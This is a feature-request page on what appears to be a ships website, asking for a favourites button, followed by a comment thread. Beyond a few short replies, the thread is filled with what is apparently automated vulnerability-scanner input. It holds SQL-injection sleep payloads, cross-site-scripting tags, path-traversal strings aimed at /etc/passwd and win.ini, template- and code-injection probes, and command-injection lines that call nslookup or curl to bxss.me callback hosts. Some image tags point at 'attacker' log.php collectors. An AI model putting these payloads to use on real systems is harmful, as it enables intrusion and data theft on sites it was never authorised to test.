Feedback

Add to favorites by Anonymous - 172 months ago

A button to add to a favorite ships lists. With it, you can take any ship you like. It can be under the photo of the ship you want to add, at the page of the ship.

• Haam_7133

  ok

• SiteDestroyer3

  I AGREE!

• Harithik Pariyar

  Fuck All

• Comix64

  yes.

• lxbfYeaa

  1

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  1BPVNlZHlNO

• 1K2SrIeN4O

  1

• WfxYANoW

  ${9999319+10000478}

• Anonymous

  1

• ${10000491+9999328}

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  1

• WfxYANoW

  response.write(9182333*9652918)

• WfxYANoW

  ../1

• WfxYANoW

  /etc/shells

• file:///etc/passwd

  1

• WfxYANoW

  '+response.write(9182333*9652918)+'

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  "+response.write(9182333*9652918)+"

• response.write(9836629*9437554)

  1

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  1

• WfxYANoW

  bxss.me

• '+response.write(9836629*9437554)+'

  1

• ../WfxYANoW

  1

• "+response.write(9836629*9437554)+"

  1

• WfxYANoW

  n7D2aUYA

• WfxYANoW

  echo rwimqd$()\ pelzfc\nz^xyu||a #' &echo rwimqd$()\ pelzfc\nz^xyu||a #|" &echo rwimqd$()\ pelzfc\nz^xyu||a #

• WfxYANoW

  WXW31CRU: qT3RAUw9

• jjcLbQwX

  1

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  &echo uzffks$()\ mxmyvh\nz^xyu||a #' &echo uzffks$()\ mxmyvh\nz^xyu||a #|" &echo uzffks$()\ mxmyvh\nz^xyu||a #

• p1rk1wVn: eKW05npv

  1

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  1&echo voeeed$()\ ynuoct\nz^xyu||a #' &echo voeeed$()\ ynuoct\nz^xyu||a #|" &echo voeeed$()\ ynuoct\nz^xyu||a #

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  1&n988280=v919560

• WfxYANoW

  |echo leciwu$()\ rflvak\nz^xyu||a #' |echo leciwu$()\ rflvak\nz^xyu||a #|" |echo leciwu$()\ rflvak\nz^xyu||a #

• WfxYANoW&n942820=v972766

  1

• VGl0OTU2Sjk=

  1

• /etc/shells

  1

• WfxYANoW

  1|echo tglxvk$()\ ivtgip\nz^xyu||a #' |echo tglxvk$()\ ivtgip\nz^xyu||a #|" |echo tglxvk$()\ ivtgip\nz^xyu||a #

• c:/windows/win.ini

  1

• WfxYANoW

  1

• WfxYANoW

  )

• bxss.me

  1

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  '.gethostbyname(lc('hitms'.'drjgcqzj84ca4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(67).chr(122).chr(72).'

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  (nslookup -q=cname hitcecoegtdxi8af0c.bxss.me||curl hitcecoegtdxi8af0c.bxss.me))

• )

  1

• WfxYANoW

  $(nslookup -q=cname hitkojgrmapbjae725.bxss.me||curl hitkojgrmapbjae725.bxss.me)

• WfxYANoW

  ".gethostbyname(lc("hitgu"."znlngkuu123c5.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(89).chr(111).chr(86)."

• WfxYANoW

  ';print(md5(31337));$a='

• !(()&&!|*|*|

  1

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  &nslookup -q=cname hitcctxhqsdov59174.bxss.me&'\"`0&nslookup -q=cname hitcctxhqsdov59174.bxss.me&`'

• WfxYANoW

  '"()

• WfxYANoW

  ${@print(md5(31337))}

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  &(nslookup -q=cname hitwwcqvsuucgc4055.bxss.me||curl hitwwcqvsuucgc4055.bxss.me)&'\"`0&(nslookup -q=cname hitwwcqvsuucgc4055.bxss.me||curl hitwwcqvsuucgc4055.bxss.me)&`'

• WfxYANoW

  gethostbyname(lc('hitca'.'aptrypyf248de.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(77).chr(106).chr(78)

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  |(nslookup -q=cname hitbigfxxhjaqf62bc.bxss.me||curl hitbigfxxhjaqf62bc.bxss.me)

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• ';print(md5(31337));$a='

  1

• WfxYANoW

  `(nslookup -q=cname hitsnerefecks9a150.bxss.me||curl hitsnerefecks9a150.bxss.me)`

• WfxYANoW

  1'&&sleep(27*1000)*dhigwx&&'

• WfxYANoW

  ;(nslookup -q=cname hitbovzsztjpv199a4.bxss.me||curl hitbovzsztjpv199a4.bxss.me)|(nslookup -q=cname hitbovzsztjpv199a4.bxss.me||curl hitbovzsztjpv199a4.bxss.me)&(nslookup -q=cname hitbovzsztjpv199a4.bxss.me||curl hitbovzsztjpv199a4.bxss.me)

• ";print(md5(31337));$a="

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitypszgheirh31451.bxss.me||curl${IFS}hitypszgheirh31451.bxss.me)

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitbayusdpvrw14071.bxss.me||curl${IFS}hitbayusdpvrw14071.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbayusdpvrw14071.bxss.me||curl${IFS}hitbayusdpvrw14071.bxss.me)&`'

• WfxYANoW

  1"&&sleep(27*1000)*ejrmfn&&"

• ${@print(md5(31337))}

  1

• xfs.bxss.me

  1

• WfxYANoW

  1'||sleep(27*1000)*jyywwt||'

• WfxYANoW

  '"

• ${@print(md5(31337))}\

  1

• WfxYANoW

  1'"()&%<zzz><ScRiPt >Hwt7(9890)</ScRiPt>

• WfxYANoW

  1"||sleep(27*1000)*qmilfj||"

• WfxYANoW

  <!--

• WfxYANoW

  1

• '.print(md5(31337)).'

  1

• '"

  1

• '"()

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• <!--

  1

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(97).concat(75).concat(98).concat(87)+(require"socket" Socket.gethostbyname("hitze"+"dbwpvyxi2b2e0.bxss.me.")[3].to_s)+"

• WfxYANoW

  comment

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(106).concat(84).concat(113).concat(87)+(require'socket' Socket.gethostbyname('hitca'+'rcblmaslfb425.bxss.me.')[3].to_s)+'

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  comment

• WfxYANoW

  '"()&%<zzz><ScRiPt >Hwt7(9270)</ScRiPt>

• WfxYANoW

  comment/.

• WfxYANoW'&&sleep(27*1000)*lnvdhf&&'

  1

• bxss.me/t/xss.html?%00

  1

• WfxYANoW"&&sleep(27*1000)*shhiqd&&"

  1

• comment

  1

• WfxYANoW'||sleep(27*1000)*cgrnar||'

  1

• WfxYANoW

  19112521

• comment

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(100).concat(88).concat(99).concat(89)+(require'socket' Socket.gethostbyname('hitwp'+'abbzfmtb5aa77.bxss.me.')[3].to_s)

• WfxYANoW"||sleep(27*1000)*cwjtxv||"

  1

• comment/.

  1

• WfxYANoW

  bfg6249＜s1﹥s2ʺs3ʹhjl6249

• WfxYANoW

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >Hwt7(9312)</ScRiPt>

• WfxYANoW

  1

• WfxYANoW

  1<WZN226>WVEAQ[!+!]</WZN226>

• WfxYANoW

  1<script>Hwt7(9936)</script>

• WfxYANoW

  1<script>Hwt7(9068)</script>9068

• WfxYANoW

  1<ScR<ScRiPt>IpT>Hwt7(9133)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >Hwt7(9876)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9105></ScRiPt>

• WfxYANoW

  1<ScRiPt >Hwt7(9343)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=Hwt7(9184)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9445'>

• WfxYANoW

  1<body onload=Hwt7(9475)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=Hwt7(9448)>

• WfxYANoW

  1L28DJqVm

• WfxYANoW

  1<img src=xyz OnErRor=Hwt7(9422)>

• WfxYANoW

  1<img/src=">" onerror=alert(9807)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%48%77%74%37%289670%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\Hwt7(9592)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;Hwt7(9049)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=Hwt7(9420)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1

• WfxYANoW

  -1 OR 2+65-65-1=0+0+0+1 --

• WfxYANoW

  1}body{zzz:Expre/**/SSion(Hwt7(9908))}

• WfxYANoW

  -1 OR 2+510-510-1=0+0+0+1

• WfxYANoW

  1sRdnQ <ScRiPt >Hwt7(9624)</ScRiPt>

• WfxYANoW

  1<WCSKBU>0E4TL[!+!]</WCSKBU>

• WfxYANoW

  1<ifRAme sRc=9132.com></IfRamE>

• WfxYANoW

  1<aRmSmPg x=9373>

• WfxYANoW

  -1' OR 2+969-969-1=0+0+0+1 --

• WfxYANoW

  -1' OR 2+389-389-1=0+0+0+1 or 'mfnhy7Yk'='

• WfxYANoW

  -1" OR 2+196-196-1=0+0+0+1 --

• WfxYANoW

  1<img sRc='http://attacker-9693/log.php?

• WfxYANoW

  1<a7oojb9<

• WfxYANoW'"()&%<zzz><ScRiPt >Hwt7(9555)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >Hwt7(9234)</ScRiPt>

  1

• WfxYANoW9427909

  1

• bfg1569＜s1﹥s2ʺs3ʹhjl1569

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >Hwt7(9669)</ScRiPt>

  1

• WfxYANoW<W6DUV8>WENQC[!+!]</W6DUV8>

  1

• WfxYANoW<script>Hwt7(9576)</script>

  1

• WfxYANoW<script>Hwt7(9273)</script>9273

  1

• WfxYANoW<ScRiPt >Hwt7(9108)</ScRiPt>

  1

• WfxYANoW<ScRiPt >Hwt7(9050)</ScRiPt>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<body onload=Hwt7(9750)>

  1

• WfxYANoW<img src=xyz OnErRor=Hwt7(9143)>

  1

• WfxYANoW<img/src=">" onerror=alert(9669)>

  1

• WfxYANoW\u003CScRiPt\Hwt7(9599)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;Hwt7(9659)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=Hwt7(9058)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(Hwt7(9660))}

  1

• WfxYANoWm1BYt <ScRiPt >Hwt7(9083)</ScRiPt>

  1

• WfxYANoW<W7HSUI>ZG6HG[!+!]</W7HSUI>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<ifRAme sRc=9445.com></IfRamE>

  1

• WfxYANoW<aHULAqa x=9828>

  1

• WfxYANoW<img sRc='http://attacker-9120/log.php?

  1

• WfxYANoW<aK6hl3B<

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1AWcIPEkM'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 649=(SELECT 649 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 299=(SELECT 299 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 758=(SELECT 758 FROM PG_SLEEP(15))--

• WfxYANoW

  11IZBqDf4' OR 84=(SELECT 84 FROM PG_SLEEP(15))--

• WfxYANoW

  1TDSjVrad') OR 569=(SELECT 569 FROM PG_SLEEP(15))--

• WfxYANoW

  1jW7Igv4Q')) OR 498=(SELECT 498 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@mEPC7

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoW2ZYICSUE

  1

• WfxYANoW

  1

• -1 OR 2+444-444-1=0+0+0+1 --

  1

• -1 OR 2+74-74-1=0+0+0+1

  1

• -1' OR 2+786-786-1=0+0+0+1 --

  1

• -1' OR 2+110-110-1=0+0+0+1 or 'Ijra5TbV'='

  1

• -1" OR 2+435-435-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoW1nrSiqf8'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@wa1Na

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• nktnkrxy

  1

• kpotvfld

  response.write(9345320*9954982)

• kpotvfld

  '+response.write(9345320*9954982)+'

• iyiywaqj

  1

• kpotvfld

  "+response.write(9345320*9954982)+"

• iyiywaqj

  1

• response.write(9211232*9257582)

  1

• iyiywaqj

  aEJrhSvY

• '+response.write(9211232*9257582)+'

  1

• iyiywaqj

  -1 OR 2+566-566-1=0+0+0+1 --

• "+response.write(9211232*9257582)+"

  1

• iyiywaqj

  -1 OR 2+399-399-1=0+0+0+1

• evbjknog

  set|set&set

• iyiywaqj

  -1' OR 2+966-966-1=0+0+0+1 --

• evbjknog

  $(nslookup z68sL28o)

• iyiywaqj

  -1' OR 2+656-656-1=0+0+0+1 or 'VCXgN3ES'='

• evbjknog

  &nslookup i265uRXt&'\"`0&nslookup i265uRXt&`'

• iyiywaqj

  -1" OR 2+577-577-1=0+0+0+1 --

• set|set&set

  1

• iyiywaqj

  if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/

• $(nslookup 3kqDf5s6)

  1

• iyiywaqj

  (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/

• &nslookup RMk3rqx8&'\"`0&nslookup RMk3rqx8&`'

  1

• iyiywaqj

  -1; waitfor delay '0:0:9' --

• bptpnrca

  cBEWWCwz

• iyiywaqj

  -1); waitfor delay '0:0:9' --

• LhwbpQf3

  1

• iyiywaqj

  1 waitfor delay '0:0:3' --

• xvxlloab

  ../../../../../../../../../../etc/passwd

• iyiywaqj

  AXKFYrIM'; waitfor delay '0:0:3' --

• xvxlloab

  ../../../../../../../../../../../../../../../proc/version

• xvxlloab

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• iyiywaqj

  -1;select pg_sleep(3); --

• xvxlloab

  ../../../../../../../../../../etc/passwd.jpg

• iyiywaqj

  -1);select pg_sleep(3); --

• xvxlloab

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• iyiywaqj

  -1));select pg_sleep(3); --

• xvxlloab

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• iyiywaqj

  xVcHgbwn';select pg_sleep(3); --

• xvxlloab

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• egouaorl

  1

• xvxlloab

  /etc/passwd

• iyiywaqj

  55L3aXGj');select pg_sleep(6); --

• xvxlloab

  %2fetc%2fpasswd

• iyiywaqj

  Y04ghexj'));select pg_sleep(6); --

• xvxlloab

  /.././.././.././.././.././.././.././../etc/./passwd%00

• iyiywaqj

  1

• xvxlloab

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• iyiywaqj

  1

• xvxlloab

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• qixdnjql

  ${10000087+9999130}

• FQsVvJXW

  1

• egouaorl

  1

• ${10000199+9999168}

  1

• -1 OR 2+10-10-1=0+0+0+1 --

  1

• xvxlloab

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• Anonymous

  1

• gkrwimxp

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• -1 OR 2+318-318-1=0+0+0+1

  1

• xvxlloab

  file:///etc/passwd

• gkrwimxp

  1some_inexistent_file_with_long_name.jpg

• -1' OR 2+754-754-1=0+0+0+1 --

  1

• xvxlloab

  /\../\../\../\../\../\../\../etc/passwd

• gkrwimxp

  Http://testasp.vulnweb.com/t/fit.txt

• -1' OR 2+908-908-1=0+0+0+1 or 'ispDXIZr'='

  1

• xvxlloab

  WEB-INF/web.xml

• dkRkU3ZxWGo=

  1

• gkrwimxp

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• -1" OR 2+347-347-1=0+0+0+1 --

  1

• xvxlloab

  /WEB-INF/web.xml

• ibcmxkvn

  1&n934189=v937474

• gkrwimxp

  testasp.vulnweb.com

• xvxlloab

  WEB-INF\web.xml

• ../../../../../../../../../../etc/passwd

  1

• qunfklon

  )

• ysuhauye&n990090=v966344

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• qunfklon

  !(()&&!|*|*|

• Http://testasp.vulnweb.com/t/fit.txt

  1

• qunfklon

  ^(#$!@#$)(()))******

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• )

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• testasp.vulnweb.com

  1

• !(()&&!|*|*|

  1

• ewgvqgqq

  ;print(md5(acunetix_wvs_security_test));

• ^(#$!@#$)(()))******

  1

• rcvvagja

  '"()

• ewgvqgqq

  ';print(md5(acunetix_wvs_security_test));$a='

• shanonfa

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• ewgvqgqq

  ";print(md5(acunetix_wvs_security_test));$a="

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• '"()

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• ewgvqgqq

  ${@print(md5(acunetix_wvs_security_test))}

• fargtxsb

  1

• stsxxbaq

  http://hit5ixynCFw7r.bxss.me/

• /etc/passwd

  1

• ewgvqgqq

  ${@print(md5(acunetix_wvs_security_test))}\

• fargtxsb

  comment

• %2fetc%2fpasswd

  1

• http://hitgjEpu9MbJy.bxss.me/

  1

• ;print(md5(acunetix_wvs_security_test));

  1

• fargtxsb

  comment

• kkdfxugu

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• fargtxsb

  comment/.

• kkdfxugu

  1'"

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• fargtxsb

  1

• kkdfxugu

  \

• ${@print(md5(acunetix_wvs_security_test))}

  1

• comment

  1

• 1 waitfor delay '0:0:6' --

  1

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• comment

  1

• kkdfxugu

  @@cqXiT

• MBvkKFbz'; waitfor delay '0:0:6' --

  1

• govobivp

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• comment/.

  1

• kkdfxugu

  JyI=

• S7ap19U6';select pg_sleep(9); --

  1

• twmxpqgv

  /www.vulnweb.com

• osTdID4K');select pg_sleep(9); --

  1

• huluqtpi

  1'"()&%<acx><ScRiPt >HOIJ(9633)</ScRiPt>

• csythbnd

  '"

• /www.vulnweb.com

  1

• rEcOsi25'));select pg_sleep(9); --

  1

• csythbnd

  <!--

• kkdfxugu

  (select convert(int,CHAR(65)))

• '"

  1

• kkdfxugu

  1

• <!--

  1

• 1'"

  1

• \

  1

• @@jxjC2

  1

• JyI=

  1

• (select convert(int,CHAR(65)))

  1

• huluqtpi

  '"()&%<acx><ScRiPt >HOIJ(9513)</ScRiPt>

• huluqtpi

  1_9571

• huluqtpi

  acu5630＜s1﹥s2ʺs3ʹuca5630

• huluqtpi

  {{9999230*10000309}}

• huluqtpi

  1<ScRiPt >HOIJ(9080)</ScRiPt>

• huluqtpi

  1<WYAQNG>LFVVT[!+!]</WYAQNG>

• huluqtpi

  1<script>HOIJ(9595)</script>

• huluqtpi

  1<ScR<ScRiPt>IpT>HOIJ(9716)</sCr<ScRiPt>IpT>

• huluqtpi

  1<ScRiPt >HOIJ(9936)</ScRiPt>

• file:///etc/passwd

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• huluqtpi

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9884></ScRiPt>

• huluqtpi

  1<ScRiPt >HOIJ(9580)</ScRiPt>

• huluqtpi

  1<video><source onerror="javascript:HOIJ(9484)">

• huluqtpi

  1<isindex type=image src=1 onerror=HOIJ(9800)>

• huluqtpi

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9591'>

• huluqtpi

  1<body onload=HOIJ(9290)>

• huluqtpi

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=HOIJ(9703)>

• huluqtpi

  1<img src=xyz OnErRor=HOIJ(9010)>

• huluqtpi

  1<img/src=">" onerror=alert(9639)>

• huluqtpi

  %31%3C%53%63%52%69%50%74%20%3E%48%4F%49%4A%289667%29%3C%2F%73%43%72%69%70%54%3E

• huluqtpi

  1\u003CScRiPt\HOIJ(9874)\u003C/sCripT\u003E

• huluqtpi

  1&lt;ScRiPt&gt;HOIJ(9634)&lt;/sCripT&gt;

• huluqtpi

  1<input autofocus onfocus=HOIJ(9094)>

• huluqtpi

  <a HrEF=http://www.vulnweb.com></a>

• huluqtpi

  <a HrEF=jaVaScRiPT:>

• huluqtpi

  [url=http://www.vulnweb.com][/url]

• huluqtpi

  1<img<!-- --> src=x onerror=alert(9978);//><!-- -->

• huluqtpi

  1}body{acu:Expre/**/SSion(HOIJ(9785))}

• huluqtpi

  1<% contenteditable onresize=HOIJ(9431)>

• huluqtpi

  1_8qInv <ScRiPt >HOIJ(9950)</ScRiPt>

• huluqtpi

  1<WMJ7HP>S3WLJ[!+!]</WMJ7HP>

• huluqtpi

  1<ifRAme sRc=9726.com></IfRamE>

• huluqtpi

  1<0GNtGM x=9785>

• huluqtpi

  1<img sRc='http://attacker-9513/log.php?

• huluqtpi'"()&%<acx><ScRiPt >HOIJ(9918)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >HOIJ(9832)</ScRiPt>

  1

• huluqtpi_9761

  1

• acu1239＜s1﹥s2ʺs3ʹuca1239

  1

• {{10000464*9999074}}

  1

• huluqtpi<ScRiPt >HOIJ(9858)</ScRiPt>

  1

• huluqtpi<WSVR58>G2UH4[!+!]</WSVR58>

  1

• huluqtpi<script>HOIJ(9082)</script>

  1

• huluqtpi<ScRiPt >HOIJ(9922)</ScRiPt>

  1

• huluqtpi<ScRiPt >HOIJ(9948)</ScRiPt>

  1

• huluqtpi<body onload=HOIJ(9419)>

  1

• huluqtpi<img src=xyz OnErRor=HOIJ(9116)>

  1

• huluqtpi<img/src=">" onerror=alert(9411)>

  1

• huluqtpi\u003CScRiPt\HOIJ(9173)\u003C/sCripT\u003E

  1

• huluqtpi&lt;ScRiPt&gt;HOIJ(9563)&lt;/sCripT&gt;

  1

• huluqtpi<input autofocus onfocus=HOIJ(9620)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• huluqtpi}body{acu:Expre/**/SSion(HOIJ(9043))}

  1

• huluqtpi<% contenteditable onresize=HOIJ(9694)>

  1

• huluqtpi_9e7ht <ScRiPt >HOIJ(9136)</ScRiPt>

  1

• huluqtpi<WXTU2G>PHPV4[!+!]</WXTU2G>

  1

• huluqtpi<ifRAme sRc=9321.com></IfRamE>

  1

• huluqtpi<k4bLot x=9623>

  1

• huluqtpi<img sRc='http://attacker-9076/log.php?

  1

• abc123

  abc123

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1Yo3Oj88g

• dwUQQUrL

  1

• dwUQQUrL

  -1 OR 2+715-715-1=0+0+0+1 --

• dwUQQUrL

  -1 OR 2+511-511-1=0+0+0+1

• dwUQQUrL

  -1' OR 2+689-689-1=0+0+0+1 --

• dwUQQUrL

  -1' OR 2+707-707-1=0+0+0+1 or 'GO5ncvuo'='

• dwUQQUrL

  -1" OR 2+886-886-1=0+0+0+1 --

• dwUQQUrL

  1*if(now()=sysdate(),sleep(15),0)

• dwUQQUrL

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dwUQQUrL

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• dwUQQUrL

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• dwUQQUrL

  1-1; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1); waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 waitfor delay '0:0:15' --

• dwUQQUrL

  1pAc93X4T'; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 OR 275=(SELECT 275 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1) OR 492=(SELECT 492 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1)) OR 898=(SELECT 898 FROM PG_SLEEP(15))--

